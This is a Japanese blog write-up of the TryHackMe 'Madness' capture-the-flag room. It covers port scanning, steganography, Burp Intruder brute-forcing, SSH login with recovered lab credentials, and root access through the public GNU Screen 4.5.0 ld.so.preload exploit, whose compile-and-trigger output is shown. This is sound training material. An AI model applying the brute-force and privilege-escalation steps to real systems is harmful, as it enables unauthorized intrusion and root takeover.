1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Madness Writeup

Last updated at Posted at 2024-09-29

はじめに

今回はTryHackMeのwriteup兼備忘録になります。
今回は難易度がEasyである「Madness」というRoomを攻略しました。
※扱い次第では法に触れるため、悪用厳禁です。

Task1 Flag Submission

ポートスキャンを行います。

┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.25.33
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-29 12:11 JST
Nmap scan report for 10.10.25.33
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 12.53 seconds

80ポートが空いていたので、実際にアクセスしてみます。
image.png

ソースコードにヒントとなりそうな画像データがあったため、wgetコマンドで取得します。
スクリーンショット 2024-09-29 13.29.36.png

┌──(kali㉿kali)-[~]
└─$ wget http://10.10.25.33/thm.jpg  
--2024-09-29 12:46:17--  http://10.10.25.33/thm.jpg
Connecting to 10.10.25.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 22210 (22K) [image/jpeg]
Saving to: ‘thm.jpg’

thm.jpg             100%[================>]  21.69K  82.0KB/s    in 0.3s    

2024-09-29 12:46:18 (82.0 KB/s) - ‘thm.jpg’ saved [22210/22210]

image.png

次に画像のバイナリデータを見てみます。

┌──(kali㉿kali)-[~]
└─$ ghex thm.jpg

image.png

このバイナリデータより、どうやらPNGファイルを参照しようとしているとのこと。

ファイル名の拡張子を「png」にしてもダメであった為、バイナリデータを「jpeg」に合わせて修正すれば良いと思い、下記サイトを参考に「jpeg」用に書き換えます。

参考サイト

image.png

すると画像が変わり、隠しディレクトリが表示されている事を確認しました。
thm_2.jpg

アクセスしてみます。
何か「secret」が必要?
image.png

またソースコードより、0~99の間となるとの記載を確認。
スクリーンショット 2024-09-29 13.33.18.png

試しに「secret」をURLのパラメータに追加したところ、問題なくページが遷移されたので、その値に対して0〜99を総当たりでアクセスすると予測。
image.png

なのでBurp Suiteを使用してブルートフォースを実施します。
インターセプトを有効化して、ページを更新します。
image.png

「Intruder」にリクエスト情報を送り、ブルートフォースを行う箇所に任意な文字列を§で囲う形で追加します。
image.png

「Payloads」タブでブルートフォースを行う値の設定を行い、実行します。
スクリーンショット 2024-09-29 14.12.24.png

「73」のみ他とLengthが異なるため、パラメータに指定してアクセスします。
image.png

何か文字列を入手しました。
image.png

Urgh, you got it right! But I won't tell you who I am! y2RPJ4QaPF!B

この文字列の使い道は、隠しディレクトリが記載された画像に対して、steghideコマンドを実行するのに必要なパスワードらしいです。

┌──(kali㉿kali)-[~]
└─$ steghide --extract -sf thm_2.jpg
Enter passphrase: 
wrote extracted data to "hidden.txt".

中身を確認すると、何かのユーザ名を入手しました。
おそらく最初のポートスキャンで確認したssh用のユーザ名だと思われます。

┌──(kali㉿kali)-[~]
└─$ cat hidden.txt 
Fine you found the password! 

Here's a username 

wbxre

I didn't say I would make it easy for you!

ssh用のパスワードは、どうやらTryHackMeのページ内の画像に、それを記載したテキストファイルが埋め込まれているとのこと。

┌──(kali㉿kali)-[~]
└─$ steghide --extract -sf Downloads/5iW7kC8.jpg
Enter passphrase: 
wrote extracted data to "password.txt".                                    
┌──(kali㉿kali)-[~]
└─$ cat password.txt 
I didn't think you'd find me! Congratulations!

Here take my password

*axA&GF8dP

sshに必要なログイン情報が揃ったため、いざssh接続を試みるがログインが出来ず、、

どうやらユーザ名に対して、シーザー暗号の解読が必要らしい。
おそらく「joker」が正しい。

image.png
参考サイト

改めて試したところ、ログインが成功しました。

┌──(kali㉿kali)-[~]
└─$ ssh joker@10.10.25.33                       
joker@10.10.25.33's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-170-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun Jan  5 18:51:33 2020 from 192.168.244.128
joker@ubuntu:~$ 

user.txt

ログイン直後にユーザフラグが記載されたファイルを確認。

joker@ubuntu:~$ ls
user.txt
joker@ubuntu:~$ cat user.txt 
THM{d5781e53b130efe2f94f9b0354a5e4ea}
joker@ubuntu:~$ 

root.txt

脆弱であるSUIDのコマンドを探します。

joker@ubuntu:~$ find / -user root -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/vmware-user-suid-wrapper
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/bin/fusermount
/bin/su
/bin/ping6
/bin/screen-4.5.0
/bin/screen-4.5.0.old
/bin/mount
/bin/ping
/bin/umount

この一覧に対して色々調べてみたところ、screen-4.5.0に脆弱性があるとのこと。
searchsploitでエクスプロイトを探します。

┌──(kali㉿kali)-[~]
└─$ searchsploit screen 4.5.0
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                             
┌──(kali㉿kali)-[~]

見つけたエクスプロイトを、ssh接続先に実行可能なスクリプトとして作成して実行します。
またそのスクリプトには実行権限を付与します。

joker@ubuntu:~$ vim screenshot.sh
joker@ubuntu:~$ ls -l screenshot.sh
-rw-rw-r-- 1 joker joker 1153 Sep 28 23:19 screenshot.sh
joker@ubuntu:~$ 
joker@ubuntu:~$ chmod +x screenshot.sh 
joker@ubuntu:~$ ls -l screenshot.sh
-rwxrwxr-x 1 joker joker 1153 Sep 28 23:19 screenshot.sh

無事権限が昇格されました。

joker@ubuntu:~$ ./screenshot.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
     chmod("/tmp/rootshell", 04755);
     ^
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
     setuid(0);
     ^
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
     setgid(0);
     ^
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
     seteuid(0);
     ^
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
     setegid(0);
     ^
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
     execvp("/bin/sh", NULL, NULL);
     ^
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
There are screens on:
        1389..ubuntu    (Detached)
        1352.pts-0.ubuntu       (Detached)
2 Sockets in /tmp/screens/S-joker.
# 
# whoami
root

管理者用のフラグを獲得して完了になります。

# cd ../root
# ls
root.txt
# cat root.txt  
THM{5ecd98aa66a6abb670184d7547c8124a}
# 

さいごに

以上となります。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?